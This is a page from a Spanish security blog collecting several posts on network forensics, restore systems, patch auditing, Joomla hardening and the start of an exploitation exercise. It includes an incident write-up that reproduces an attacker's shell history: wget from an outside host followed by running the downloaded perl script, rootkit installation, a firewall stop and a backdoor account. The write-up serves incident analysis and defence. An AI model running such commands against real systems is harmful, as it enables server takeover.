Security Art Work

En múltiples ocasiones hemos hablado en este blog de tshark como herramienta de análisis forense de red. Esta herramienta proporciona una versatilidad que se va ampliando con cada nueva versión, donde se le añaden nuevos filtros y mejoras.

Supongamos que nos encontramos analizando un incidente de seguridad en el que tenemos tráfico hacia varios servidores ubicados detrás de una misma dirección IP. Debido a esto, no se puede filtrar por dirección IP así que hay que buscar otra solución. En este artículo voy a mostrar una manera de extraer únicamente aquellos paquetes que están relacionados con un servidor (host) y no con una dirección IP.

Para ilustrar el ejemplo voy a utilizar un archivo de captura de tráfico en formato PCAP descargado desde NETRESEC de una máquina infectada con W32/Sdbot, proporcionado por Russ McRee.

Cuando estamos analizando tráfico hacia un servidor web podemos ver los paquetes enviados por el cliente utilizando el filtro “http.host==” (p.e, http.host==www.age.ne.jp):

El problema es que únicamente se muestran los enviados hacia el servidor, ya que se basa en el parámetro Host de la cabecera HTTP. En el caso en el que queramos capturar también la respuesta podremos utilizar el filtro tcp.stream pero debemos hacer un paso previo; para ello recordaremos este filtro.

El filtro “tcp.stream” es un valor que tshark asigna a los paquetes en función del flujo TCP al que pertenecen, así aquellos paquetes que formen parte de una misma conversación o flujo TCP tendrán el mismo valor.

La idea que pretendemos llevar a cabo es identificar los flujos TCP que vayan dirigidos al host que queremos para, posteriormente, extraer todos los paquetes que sean de esos flujos TCP, no sólo las peticiones HTTP.

Primero listamos el flujo TCP de los paquetes dirigidos al host:

Ahora un poquito de Kung-Fu, y listo:

Lo que se ha hecho en la captura anterior es obtener el mismo listado y realizar otra búsqueda utilizando el filtro tcp.stream con esos valores, por tanto recorremos el archivo un número de veces igual al número de flujos anterior y creamos un archivo (stream{n}.pcap) por cada uno de ellos. Finalmente, se fusionan en un único archivo PCAP con mergecap, llamado www_age_ne_jp.pcap.

Para ver que no sólo tenemos las peticiones al servidor sino también las respuestas de éste, mostramos el contenido del archivo:

Para comprobar que las peticiones son hacia el servidor que queremos mostramos únicamente los campos de dirección IP origen y destino, el host al que va dirigida la petición HTTP y el flujo TCP al que corresponden (el valor tcp.stream varia porque es relativo al propio archivo PCAP, no obstante se puede comprobar que el número de flujos es el mismo):

Por último, como nota añadida a esta manera de extraer aquellos paquetes que nos interesan, recalcar que el archivo se procesa un número de veces igual al de flujos que devuelva la operación anterior. Esto, si el archivo con el que estamos trabajando es muy pesado, puede sobrecargar el sistema.

Para evitar esto, en lugar de utilizar el filtro para un único flujo, se encadenan todos los filtros con un OR y así sólo procesamos el archivo una única vez, aunque se hagan más comprobaciones.

Mientras que el tiempo para ejecutar el comando de la primera manera es:

Quizá éste archivo no sea el mejor ejemplo ya que su tamaño es pequeño, aunque se puede apreciar que se reduce en más de una quinta parte el tiempo real de proceso.

Por experiencia propia, en una búsqueda similar en un archivo de 4 GB la diferencia está entre tres minutos para su ejecución con la primera opción, y no terminar tras más de una hora con la segunda.

Espero que os sirva para futuras búsquedas.

Como bien indica el título, existen sistemas que nos pueden hacer la vida mucho más fácil, sobre todo a la hora de administrar múltiples equipos en lugares como universidades, centros públicos etc…

Este tipo de sistemas protegen nuestra máquina obligando a que sea “autista”, esto quiere decir que todo cambio que se produzca en la máquina volverá a ser subsanado tras su reinicio de forma inmediata.

Esto puede dar muchas ventajas, pero poca libertad al usuario que está usando el equipo. Poca libertad porque no va a poder guardar ningún cambio en el equipo, pero si en una unidad de almacenamiento propia, por ejemplo un pen drive USB.

Las ventajas son varias, ya que un usuario poco experimentado puede borrar un archivo de configuración que no debe, o puede infectar la máquina con un virus porque el pen drive que ha introducido estaba infectado, porque ha abierto un correo que no debía o porque ha visitado una URL que era de carácter malicioso y en cada uno de estos casos, se podrá restaurar el sistema inmediatamente.

No hay problema porque siempre que ocurra algo así con solo reiniciar el sistema queda como al principio, es como si se clonara el disco, o discos duros, justo cuando está todo instalado y en perfecto funcionamiento y cada vez que reiniciamos esa imagen se restaurase de nuevo, pero sin esperar.

Estos sistemas se venden en el mercado y los hay de diversos tipos, ya que pueden funcionar únicamente por software, pero los hay que también funcionan por hardware.

¿Dónde es conveniente usar este tipo de sistemas? Pues en universidades, colegios, centros públicos etc…, zonas donde los ordenadores están expuestos a todo tipo de personas.

Existen productos como Custodius:

Este tipo de tarjetas, con conexión PCI, permite la restauración instantánea al reiniciarse el equipo (sólo en sistemas Windows). Para poder hacer cambios en el sistema, sólo hace falta pulsar las teclas ctrl+enter al inicio e introducir la contraseña de administración, entonces se entra en modo supervisor para poder guardar los cambios necesarios.

La restauración no tiene por qué ser sólo instantánea, también puede ser desde un backup o respaldo, y aquí sí que se incluyen sistemas UNIX, Linux y Windows.

La protección se puede hacer sólo de una partición o disco determinado o de todos los discos y particiones que tenga el sistema (soporta hasta 48 particiones y hasta 3 discos). Además es capaz de proteger la BIOS para que no se produzcan cambios en ella.

Obviamente toda esta protección no vale de nada si alguien con un simple destornillador puede extraer la tarjeta, por lo tanto esto tiene que ir acompañado de un sistema de sellado del equipo que impida que se abra la torre del equipo de forma sencilla.

Otra función que contempla es la de SNCOPY, donde un equipo ya configurado es capaz de funcionar conjuntamente con la tarjeta de red y clonarse en otros equipos con las mismas tarjetas, configurando así muchos equipos clonándose la configuración del anfitrión.

Otro producto de características parecidas es Deep Freeze. Funciona sólo por software y de forma parecida a Custodius, ya que al reiniciar el sistema vuelve a restaurar todo. Éste software “congela” la configuración del sistema, pero deja que los cambios por parte del usuario se produzcan por ejemplo en una unidad de red remota o en un espacio “descongelado”.

Esta empresa además presume de poder proteger el MBR (Master Boot Record), de inserciones de rootkits.

Aunque, esto no es del todo cierto, ya que según un artículo publicado en la página http://securitylabs.websense.com/ se hace un análisis sobre una variante de un malware llamado Robot Dog (malware destinado sobre todo a atacar a China y en concreto a cibercafés). Que es capaz de hacer que el software de recuperación no actúe correctamente.

El proceso es algo largo de explicar pero se puede ver en este link.

Con lo cual queda en evidencia la posible efectividad, de este tipo de herramientas que funcionan únicamente vía software, ya que pueden ser vulnerables a los kernel rootkits.

Esto surgió entre el año 2006 y 2008, se buscaron medidas para solucionar el problema en este tipo de software. Entre estas medidas están las llamadas AE: anti-execution., que en resumen vienen a decir que la responsabilidad de lo que se ejecuta en la máquina recae sobre el usuario, con lo cual estamos en las mismas.

De todas maneras este tipo de malware es efectivo si se llega a ejecutar con permisos de administrador, con lo cual es difícil que en un aula o colegio pueda suceder, ya que la mayoría de las veces se estará ejecutando con una cuenta de usuario limitada.

En el caso de tarjetas como Custodius, no deberían ser vulnerables a los kernel rootkits, pero si a los BIOS rootkits. A pesar de que en su web aseguran que protegen la BIOS, existen comentarios en foros de gente que ha actualizado la BIOS del equipo con la tarjeta puesta y que los cambios se han hecho efectivos.

La existencia de BIOS root kits es una realidad, y existen ejemplos como Mebromi (or MyBios), que ataca a BIOS AWARD (Phoenix Technologies).

A pesar de que es difícil que un equipo se infecte con este tipo de rootkit, siempre es conveniente usar sistemas reboot and restore, a modo de complemento.

Por ejemplo si el uso es en un aula universitaria, sólo el encargado del aula debe tener y usar la clave de administrador, la cual solo se usará en caso estrictamente necesario. Por otro lado, solo se usará modo supervisor en caso de necesidad absoluta de instalar un software determinado y a poder ser sin estar conectado a internet (sí en el caso de las actualizaciones de adobe, java o del propio sistema operativo), y por supuesto complementar toda esta seguridad conjuntamente con un firewall personal / antivirus. Además se deberá proteger la entrada en la BIOS mediante un password, así como la entrada en el modo supervisor de nuestro sistema de recuperación, y tener la caja del equipo totalmente sellada para impedir que nos sustraigan la tarjeta PCI o que hagan un clear CMOS.

En caso de que sea estrictamente necesario actualizar la BIOS del equipo, deberá hacerse con sumo cuidado y sólo conseguir el software de la página oficial del fabricante.

Otros sistemas conocidos, son por ejemplo Rollback RX PC que usa un sistema de instantáneas que se pueden recuperar en cuestión de segundos y no consumen casi recursos del sistema. Tiene la posibilidad de cifrar estas instantáneas con cifrado AES 256, para que en caso de robo del equipo, protegernos de que un extraño pueda hacer una restauración.

Otra herramienta conocida es Shadow Defender, que ejecuta el sistema en modo “Shadow mode”, que básicamente lo que hace es virtualizar parte del sistema, justo donde se realizan cambios. En caso de querer volver a un estado anterior, basta con reiniciar el sistema.

Otra opción interesante es Sandboxie actúa de forma parecida a los anteriores, es un sistema tipo sandbox que hace algo parecido a la virtualización por aislamiento, pero en este caso se crea “un contenedor”, donde se ejecutan los programas de aplicación. Además evita la inyección en el kernel de Windows.

En este enlace de YouTube se pueden ver diversas pruebas con varios de los programas mencionados antes, donde se ponen a prueba con virus de diversa índole.

Hoy vamos a hablar de una herramienta gratuita que puede servirnos de alternativa al conocido Splunk para realizar análisis de logs de forma rápida y sencilla.

Logstash es una aplicación de Java que podemos lanzar en cualquier equipo con una versión actual de Java, y que gracias al servidor de búsqueda ElasticSearch que incorpora, puede ampliarse y desplegarse en infraestructuras complejas con múltiples nodos trabajando en paralelo.

Para mostrar su funcionamiento no necesitamos hacer un despliegue tan complejo, y vamos a aprovechar la funcionalidad autocontenida en el paquete descargable, para analizar un conjunto de ficheros de Apache en busca de patrones sospechosos.

[Read more…]

Si los mecanismos de seguridad son complejos de usar, pierden su efectividad, ya que nadie los usará. Si se fuerza su uso, se intentarán otros canales para conseguir la misma funcionalidad.

La ciberseguridad ha sido, desde sus comienzos, una auténtica carrera armamentística. Si la entendemos como la protección de la información que una organización mantiene, tanto en su custodia como durante su transmisión, podemos incluir desde los primeros intentos de ocultar mensajes secretos a ojos de los no autorizados, cifrándolos u ocultándolos, hasta los mecanismos de los gobiernos para espiar las transmisiones de los enemigos, tanto en la guerra como en la paz.

Así, siempre que un cerebro humano ha pensado en una forma de proteger una información, otro cerebro igualmente inteligente, ha sido capaz de encontrar el medio de saltarse la protección. Al final, se trata de una cuestión de economía, como casi todo. ¿Vale la información que se puede robar el esfuerzo necesario para romper los mecanismos que la protegen? Este hecho económico básico es, a veces, intuitivamente engañoso. Muchas personas piensan que su información tiene poco valor (cosa en la que, normalmente, aciertan) y que, dado que la protección utilizada requiere un esfuerzo no trivial para romperla, están a salvo del acceso no autorizado.

Pues bien, probablemente, no valga la pena hacer el esfuerzo para romper el mecanismo que protege esa información, pero, como resulta que el mismo mecanismo (relativamente débil) es utilizado por muchas personas, el coste unitario se reduce a niveles risibles y, por poco que sea el provecho obtenido, el rendimiento obtenido es alto.

Así pues, ¿debemos usar mecanismos más complejos? Sin duda, si nos importa algo la información protegida. Ahora bien, si estos mecanismos no se hacen más fáciles de usar, pueden pasar dos cosas:

Una: que no se utilicen, con el consiguiente riesgo que, seguro, acabará materializándose y reducirá fuertemente la confianza en las transacciones en la red.

Dos: que, al ser incómodo, sólo se usen para casos muy especiales, con lo que disminuye drásticamente la funcionalidad de Internet, reduciéndolo casi a un sistema de consulta de información y compartición de información banal.

En resumen, si queremos que Internet permita un amplio conjunto de funcionalidades y transacciones, de manera segura, que realmente facilite nuestra vida, tenemos que diseñar mecanismos de protección tan usables como eficaces.

Es preciso acabar con la creencia de que la seguridad está reñida con la funcionalidad.

En ocasiones, en el transcurso del análisis forense de un sistema Windows, puede resultarnos de utilidad conocer el nivel de parcheado del equipo que estamos analizando. En la presente entrada veremos cómo llevar a cabo esta tarea con ayuda de la herramienta Microsoft Baseline Security Analyzer (MBSA).

Cabe aclarar que esta herramienta se aplica sobre sistemas en ejecución (“en vivo”), y no sobre imágenes offline del sistema de ficheros, por lo que en primer lugar será necesario levantar una copia de la máquina objeto del análisis forense. A tal efecto podemos utilizar herramientas como Live View (que nos permitiría desplegar una imagen del disco duro de la máquina obtenida, por ejemplo, con el comando dd, en forma de máquina virtual) o Clonezilla (con la que podríamos obtener una imagen del disco duro del equipo analizado, que luego podríamos desplegar en una máquina virtual u otra máquina física), entre muchas otras opciones.

En lo que sigue, asumiremos que ya tenemos lista y en ejecución esta copia del equipo a analizar. Puesto que el supuesto de partida es que estamos llevando a cabo un análisis forense, asumiremos que tampoco podemos conectar esta copia del equipo a Internet, de modo que utilizaremos el programa MBSA de una forma completamente offline.

Podemos descargar MBSA, en su versión 2.3, a través del siguiente enlace:

http://www.microsoft.com/en-us/download/details.aspx?id=7558

El programa no requiere ningún componente extra (como .NET) y se instala a través del típico asistente, sin mayores complicaciones:

Tras iniciar el programa, llevaremos a cabo un primer escaneo de prueba sobre el equipo, a través de la opción “Scan a computer”:

El objetivo de este primer análisis, que no podrá completarse correctamente, es que MBSA genere los directorios donde almacena la caché con el catálogo de actualizaciones de Windows. Para la versión 2.3, este directorio es "Configuración local \ Datos de programa \ Microsoft \ MBSA \ Cache" (a partir del perfil del usuario administrador con el que estemos ejecutando la herramienta) y, puesto que vamos a llevar a cabo todo el proceso con la máquina que estamos analizando desconectada de Internet, será necesario descargar el catálogo de Windows Update (Microsoft lo denomina “archivo de examen sin conexión”) desde otra máquina y copiarlo a la anterior ruta.

Podemos descargar este archivo (su nombre es wsusscn2.cab) a través del siguiente enlace:

http://go.microsoft.com/fwlink/?LinkId=76054

A continuación, lo copiamos en el directorio caché de MBSA:

En sistemas realmente desactualizados, podría suceder que la versión del agente de Windows Update sea tan vieja que MBSA no pueda llevar a cabo el análisis. En este caso, el programa presenta el siguiente mensaje de error: “Computer has an older version of the client and security database demands a newer versión. Current version is and minimum required version is…”, tal como puede observarse en la siguiente captura:

Si la máquina estuviera conectada a Internet, el propio MBSA actualizaría el agente de Windows Update, pero en nuestro caso deberemos descargar el instalador desde otra máquina e instalarlo en el equipo sobre el que estamos llevando a cabo el análisis forense. Microsoft documenta este procedimiento en el siguiente artículo:

http://technet.microsoft.com/en-us/library/bb932139.aspx

Para sistemas x86, podemos descargar el instalador desde la siguiente URL:

http://go.microsoft.com/fwlink/?LinkID=100334

De nuevo, la instalación se lleva a cabo vía asistente y no presenta mayores complicaciones:

Una vez contamos con una versión reciente del agente de Windows Update, ya podremos lanzar la herramienta contra el catálogo de actualizaciones que hemos descargado. Podemos marcar las opciones de escaneo de interés (en nuestro caso “Check for security updates”) y llevar a cabo el análisis:

Este sería el resumen de resultados para un equipo Windows XP SP3 “dejado caer”, sin ningún parche aplicado:

Mediante la opción “Result details” podemos obtener el detalle de los parches concretos que no han sido aplicados:

También podemos copiar los resultados del análisis en el portapapeles (opción “Copy to clipboard”) y guardarlo en un fichero de texto, que luego podremos utilizar para la confección del informe forense:

Por último, cabe señalar que el programa también cuenta con interfaz de línea de comandos, con la que podemos lanzar los análisis de forma automática con las opciones requeridas:

Esperamos que la entrada haya resultado de vuestro interés.

¿Cuál es la organización que más sabe sobre nuestra vida en la red? Sí, yo también pienso que es Google, por delante de nuestro gobierno, hacienda o nuestra propia familia. Si, además, somos usuarios de Google Apps, probablemente, la compañía del buscador tenga casi tanta información digital como nosotros mismos.

Pero la cosa no acaba ahí. Siempre es divertido elucubrar sobre la estrategia de dominación mundial de las grandes compañías multinacionales y me gustaría abrir la discusión sobre las posibles intenciones de Google, a la luz de sus últimas adquisiciones. Analicemos las tres últimas conocidas:

La primera, una empresa llamada Nest, dedicada a la fabricación de termostatos inteligentes – así se ha contado en la prensa – o, más precisamente, de dispositivos que permitan desarrollar la idea de la “casa conectada”, enchufando los sistemas de calefacción, iluminación, electrodomésticos, etc. a Internet para poder controlarlos y gestionarlos de manera más eficiente. Muy en la línea de la “Internet of Things”. En ese proceso, la compañía puede recoger mucha información acerca de los hábitos de consumo y comportamiento de los habitantes, por supuesto.

La segunda, Impermium Security, dedicada a proteger a sus clientes frente al robo y suplantación de identidades digitales, utilizando modelos estadísticos y de aprendizaje automático, para proporcionarles protección en tiempo real.

Por último, la más reciente, DeepMind Technologies, utiliza algoritmos de aprendizaje universal para aplicaciones como simulaciones, comercio electrónico y juegos. En sus propias palabras, la tecnología de DeepMind intenta conseguir que los ordenadores piensen como humanos y ha sido demostrada en demostraciones de ordenadores jugando videojuegos.

Lo curioso de este último caso es que, DeepMind, que estaba en tratos con Facebook, ha acabado decantándose por Google, incorporando una curiosa condición a su acuerdo: la creación de un comité de ética que “definirá reglas para indicar cómo Google podrá y no podrá hacer uso de esta tecnología”.

Es decir, que Google quiere tener más información sobre mi comportamiento en casa, conocer más sobre el robo y la suplantación de identidades y está interesado en técnicas de AI que hacen que las máquinas puedan pensar y comportarse como personas.

Y, además, se ve en la necesidad de establecer un comité de ética para vigilar el uso que le da a esta tecnología.

Inquietante.

Quería compartir un ataque sufrido a un servidor dedicado que una organización con la cual colaboraba tenía contratado en una empresa de hosting bastante conocida. Cuando fuimos conscientes del ataque, el atacante ya había obtenido acceso al sistema y había editado los ficheros /etc/passwd, /etc/groups, /etc/shadow y /etc/gshadow modificando las claves de acceso por ssh y creando usuarios propios para acceder al equipo. Por tanto no disponíamos de acceso al servidor.

En el OSSEC (un HIDS) veíamos intentos de acceso al servidor por SSH desde una IP de Indonesia. Y nos alertaba de tener instalada una Rootkit.

2013 Nov 09 21:59:19 Rule Id: 510 level: 7
Location: servidor->rootcheck
Src IP: 'shv5' detected by the presence of file '/lib/libsh.so'.
Host-based anomaly detection event (rootcheck). ** Alert 1384030759.1314571: mail -
ossec,rootcheck,
2013 Nov 09 21:59:19 servidor->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'shv5' detected by the presence of file '/usr/lib/libsh'.

Para recuperar el acceso al servidor (ya que nos habían modificado la clave) hicimos uso de las claves pública/privada que teníamos en el servidor y que utilizábamos entre otras cosas para las copias de seguridad a una NAS en remoto. Gracias a esto conseguimos reemplazar de nuevo los ficheros modificados para acceder al servidor. Una vez conseguimos acceder al servidor teníamos que comprobar los ficheros afectados y modificados, y la forma por la que habían accedido. Lanzamos el comando history en la consola para que nos diese alguna pista de los comandos ejecutados a través del Shell, y este fue el resultado:

473 id
474 wget kropak.com/es.txt
475 perl es.txt
476 cd /tmp
477 rm -rf a
478 ls
479 wget kropak.com/sshroot.tar.gz
480 tar -zxvf sshroot.tar.gz;rm -rf sshroot.tar.gz
481 cd sshroot
482 chmod +x *
483 ./configure --prefix=/usr/local/sshd/
484 cd ..
485 rm -rf sshroot
486 wget kropak.com/shv5.tar.gz
487 tar -zxvf shv5.tar.gz;rm -rf shv5.tar.gz
488 cd shv5
489 ./setup 201 201
490 cd /tmp
491 service iptables stop
492 /sbin/ifconfig | grep inet | wc -l
493 cat /etc/ssh/sshd_config
494 adduser tagar
495 passwd Tagar
496 passwd tagar
497 chmod 777 /etc/passwd
498 id tagar
499 passwd
500 id tagar

Esto confirmaba la alerta del OSSEC. Como vemos pudieron hacer a sus anchas lo que quisieron. Instalaron un rootkit shv5 y se crearon usuarios de acceso al servidor (tagar).

Además de eso, modificaron los paquetes de comandos como el lsof, ifconfig, md5sum, find, pstree… limitando algunas funciones, de lo cual nos alertó el rkhunter como mostramos en el ejemplo siguiente.

[01:02:05] /usr/bin/pstree [ Warning ]
[01:02:05] Warning: Package manager verification has failed:
[01:02:05] File: /usr/bin/pstree
[01:02:05] The file hash value has changed
[01:02:05] The file owner has changed
[01:02:05] The file group has changed
[01:02:05] The file size has changed 

En el mismo log del rkhunter aparecieron muchos mensajes de información. Entre otros, este que nos da importante información.

[01:04:00] Checking for TCP port 6667 [ Warning ]
httpdocs/administrator/templates/.logged/psybnc. Possible rootkit: Possible rogue IRC bot
Use the 'lsof -i' or 'netstat -an' command to check this.

Localizamos el fichero psybnc en un dominio donde teníamos instalado una versión de Joomla! vulnerable (versión 1.5) y es donde habían instalado un IRC (Internet Relay Chat) y nos utilizaban como servidor IRCd.

En el directorio /administrator/templates aparecía el .logged y directorios de Unreal3.2 (IRC), shv5, y otros ficheros infectados y que habían sido descargados por el atacante.

Revisando el log del dominio infectado vimos la forma por la que accedieron al servidor:

IP_Atacante - - [16/Oct/2013:05:52:55 +0200] "POST
/index.php%3foption=com_content%26view=article%26id
=280%3agf-febrero-
2013%26catid=20%3avitoria%26Itemid=73/index.php?
option=com_jce&task=plugin&plugin=imgman
ager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 404 549 "-"
"BOT/0.1 (BOT for JCE)"

Como se puede ver es a raíz del complemento JCE que es un editor de mensajes que se ha conocido que es vulnerable [4] [5] [6] y que hay pruebas de concepto sobre la explotación de dicha vulnerabilidad.

Hasta aquí un poco el análisis a grandes rasgos del ataque. Una vez conocida la vulnerabilidad explotada y la utilización que se estaba realizando del equipo empieza la tarea para limpiar y solucionar el problema. En primer lugar procedimos a eliminar el atributo inmutable de los ficheros que el atacante había modificado para limitar nuestra acción:

[root@servidor ~]# chattr -sia /bin/ls
[root@servidor ~]# chattr -sia /bin/ps
[root@servidor ~]# chattr -sia /bin/netstat
[root@servidor ~]# chattr -sia /usr/bin/dir
[root@servidor ~]# hattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /sbin/ifconfig
[root@servidor ~]# chattr -sia /usr/sbin/lsof
[root@servidor ~]# chattr -sia /usr/bin/md5sum
[root@servidor ~]# chattr -sia /usr/bin/pstree
[root@servidor ~]# chattr -sia /usr/bin/top
[root@servidor ~]# chattr -sia /lib/libsh.so
[root@servidor ~]# chattr -sia /usr/lib/libsh
[root@servidor ~]# chattr -sia /usr/lib/libsh/*
[root@servidor ~]# chattr -sia /etc/sh.conf
[root@servidor ~]# chattr -sia /sbin/ttymon
[root@servidor ~]# chattr -sia /sbin/ttyload

También modificaron el /etc/inittab por lo que lo reemplazamos con uno limpio de copias de seguridad anteriores.

Eliminamos los ficheros modificados en el sistema y posteriormente los instalamos de nuevo:

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# yum -y reinstall coreutils binutils 
     net-tools psmisc lsof procps findutils >>/dev/null

Además borramos también cualquier rastro de los ficheros del shv4 y shv5. Eliminamos el proceso en marcha que tenían en el IRC y el Unreal. Además eliminamos del fichero known-hosts la IP del atacante y la añadimos en el firewall para que bloquease toda conexión de esa IP. Además, dado que en el servidor no se utilizaba perl, bloqueamos los accesos con el user-agent libwww-perl.

A modo de resumen el procedimiento del ataque ha sido el siguiente:

• A raíz de una vulnerabilidad de Joomla! Content Editor y el plugin imgmanager (por tenerlo desactualizado) utilizan un exploit en perl para escanear y ver la vulnerabilidad que consigue introducir ficheros en la carpeta de joomla vulnerable.
• Suben ficheros y usan la librería libwww-perl para estas conexiones.
• Instalar un software IRCd (Unreal).
• Con los ficheros que meten ejecutan un fichero perl que les da posibilidades de ejecutar tareas con los privilegios del usuario apache.
• Descargan dos ficheros sshroot.tar.gz y shv5.tar.gz y posteriormente instalan el rootkit para evitar ser detectados y conseguir privilegios de root en el servidor.

Después de esto solo cabe añadir que procedimos a revisar todo el servidor de nuevo, además de actualizar todas las versiones de Joomla! instaladas y revisar todos los plugins para comprobar que no eran vulnerables.

Estos son algunos de los pasos del análisis y de la solución que dimos ante este ataque. Evidentemente se tomaron más medidas y se analizaron muchas más cosas, pero a grandes rasgos este fue el caso que quería compartir.

Hace unos meses hablábamos [1] [2] de uno de los gestores de contenido o CMS (Content Management System) más utilizado y de la necesidad de tomar medidas para securizarlo. Como ya comentamos en ese artículo, los gestores de contenidos al ser utilizados por multitud de personas están en el punto de mira de los atacantes, y éstos se aprovechan de las vulnerabilidades de la herramienta y lanzan ataques contra las páginas que utilizan estos CMS. Por tanto es fundamental tomar medidas de prevención para no ser víctima de uno de estos ataques.

En aquel momento hablamos del CMS WordPress. En este post vamos a hablar de otro de los más populares: Joomla!.

Joomla permite desarrollar sitios web dinámicos e interactivos. Permite gestionar contenido en un sitio web de manera sencilla a través de un panel de Administración bastante completo, aunque en ocasiones poco intuitivo. Es un software de código abierto, desarrollado en PHP y liberado bajo licencia GPL. Uno de los mayores potenciales que tiene este CMS es que su funcionalidad es muy grande debido en parte a la multitud de extensiones que tiene disponible. A su vez estas extensiones, generalmente desarrolladas por terceros, pueden volverse en contra del administrador del sistema ya que pueden ser puertas traseras que permitan el acceso no deseado al servidor o a la página en cuestión.

El Instituto de Tecnologías de la Comunicación (INTECO) publicó hace pocos meses una guía sobre securización de Joomla!. En este post queremos destacar algunas de las medidas de esa guía, además de añadir alguna otra que no se refleja en la misma. Las medidas se centran en una correcta configuración, asignación de permisos y cambios en la estructura del CMS. Estas medidas son:

• En primer lugar es importante instalar la herramienta en un proveedor de confianza. Si es un servidor compartido debemos saber las medidas de seguridad que aplica el proveedor respecto a nuestro CMS, esto es, permisos en directorios, acceso al dominio, revisión de logs,…
• Mover el fichero configuration.php del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
• No dejar los permisos de configuration.php fuera del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
• No dejar los permisos de configuration.php en 777. Recomendable 644. Acostumbramos a poner los permisos 777 para instalar extensiones al Joomla! y no tener problemas pero después no se vuelve a cambiar y se dejan permisos que no se debería, lo que compromete el servidor. Según aparece en la documentación de Joomla! los permisos recomendados son 644 para los archivos y 755 para los directorios.
• No utilizar el nombre de usuario ‘admin’ para entrar al back-end. Si no se cambiase, ya se conocerían la mitad de las credenciales de acceso, y si la contraseña no fuese robusta con un ataque de fuerza bruta se podrían romper la contraseña de una forma fácil y obtener acceso al panel de administración.
• Cambiar el nombre de la carpeta Administrator. Esto requiere modificaciones en el núcleo del sistema cambiando las referencias hacia ese directorio tanto en BD como en los ficheros de las plantillas que apuntan a ese directorio. En cualquier caso este cambio es recomendable para que un usuario ilícito no pueda acceder de manera fácil al login del back-end y probar por fuerza bruta combinaciones de usuario-contraseña.
• Proteger el directorio administrator con contraseña (utilizando el .htaccess y el .htpasswd). Esta es una doble seguridad ya que por delante de las credenciales del back-end estaría la protección del directorio.
• Proteger el acceso a los ficheros .htaccess insertando el código siguiente en el mismo .htaccess, y pon los permisos a 644.

< Files .htaccess>
order allow,deny
deny from all
</Files>

• Cambiar el prefijo de la BBDD durante la instalación (a partir de la versión 2.x ya lo genera aleatoriamente). Por defecto el prefijo de las versiones anteriores a la 2.5 era jos_ lo que provocaba que los atacantes conociesen los nombres de las tablas de la base de datos pues el resto del nombre es igual en todas las instalaciones.
• Mantener el sitio actualizado. Las versiones con soporte actualmente son la 2.5, 3.0, 3.1, 3.2. La versión 2.5 es una versión LTS (Long Team Support) por lo que actualmente es la que más tiempo tendrá soporte. A mediados del de este año está previsto el lanzamiento de la versión 3.5 que será LTS y tendrá soporte hasta 2016.
• Comprobar las extensiones que se instalan y buscar referencias para conocer si tienen vulnerabilidades conocidas o si son extensiones reconocidas por Joomla! [1] [2]. Las extensiones aumentan la funcionalidad del CMS pero pueden llegar a ser una puerta de entrada al portal si son vulnerables. Además, éstas deben ser actualizadas y sólo ser utilizadas si son estables y tienen soporte.

En la página de documentación oficial de Joomla! podemos encontrar más información: checklist de seguridad en la instalación de Joomla!, las preguntas frecuentes sobre la seguridad y rendimiento, y las 10 “cosas más estúpidas” que puede hacer un administrador de Joomla!. Con todos estos recursos podremos proteger nuestro portal y evitar de esta forma así ataques a la página y al servidor.

Siguiendo con los ejercicios de exploiting con los que empezamos en un post anterior, hoy vamos a pegarnos con uno de la máquina virtual Fusion, concretamente nos enfrentaremos al ejercicio Fusion 02. La resolución de este ejercicio la he dividido en dos partes (dos entradas en el blog), en esta primera parte tenemos como objetivo controlar el registro EIP y dejaremos para la segunda parte explotar la vulnerabilidad. Esta entrada toma como guía para su resolución la entrada del blog de kroosec . Aunque intenta ofrecer algunos detalles más, que pueda hacer más fácil entender el ejercicio.

Para la resolución de este ejercicio vamos a ir respondiendo a preguntas que me he ido haciendo, y que al darles respuesta nos permiten ir dando un paso más en la comprensión del ejercicio y de la vulnerabilidad.

1. ¿Cómo funciona exactamente la función _read()?

Tras ejecutar el programa varias veces, con debugger y sin debugger uno ve que es importante entender como funciona exactamente la función nread y por lo tanto la función _read. Buscando un poco vemos que el prototipo de la función es:

ssize_t read(int fs, void *buf, size_t N);

Lo que hace exactamente esta función es leer n datos desde donde apunta el descriptor de fichero y lo almacena donde apunta la variable *buf. En el código del ejercicio vemos como el descriptor de fichero (fs) vale 0. Esto significa que está leyendo de stdin (entrada estándar). Ya tenemos claro lo que la función _read hace y ésta es invocada desde nread(). Solo mirando el prototipo está claro que uno ya podía intuir lo que hacía, pero de todos modos es necesario no presuponer nada y asegurarse de que funciona como parece.

2. ¿Cómo realizar una ejecución normal del programa y qué hace?

Es necesario saber cómo ejecutar el programa de manera normal, cómo debe funcionar y cuál debe ser su salida. El programa lo que hace es cifrar texto que se le introduce cuando nos conectamos al puerto 20002. Para cifrar una cadena tenemos que introducir primero el carácter ‘E’ en mayúsculas, seguido del tamaño del texto que vamos a introducir, el texto que queremos cifrar y una Q en mayúsculas para finalizar la ejecución.

Como ejemplo vamos a cifrar 100 A’s, mediante la siguiente instrucción:

fusion@fusion:~$ python -c 'print "E"+"\x64\x00\x00\x00"+100*"A"+"Q"' | nc localhost 
      20002
[-- Enterprise configuration file encryption service --]
[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support 
      staff to retrieve your file --]
fusion@fusion:~$ 

Este es el resultado de una ejecución normal del programa y vemos como hemos llegado a la parte del programa donde se cifra viendo el mensaje que nos ha devuelto por pantalla.

3. ¿Dónde está la vulnerabilidad?

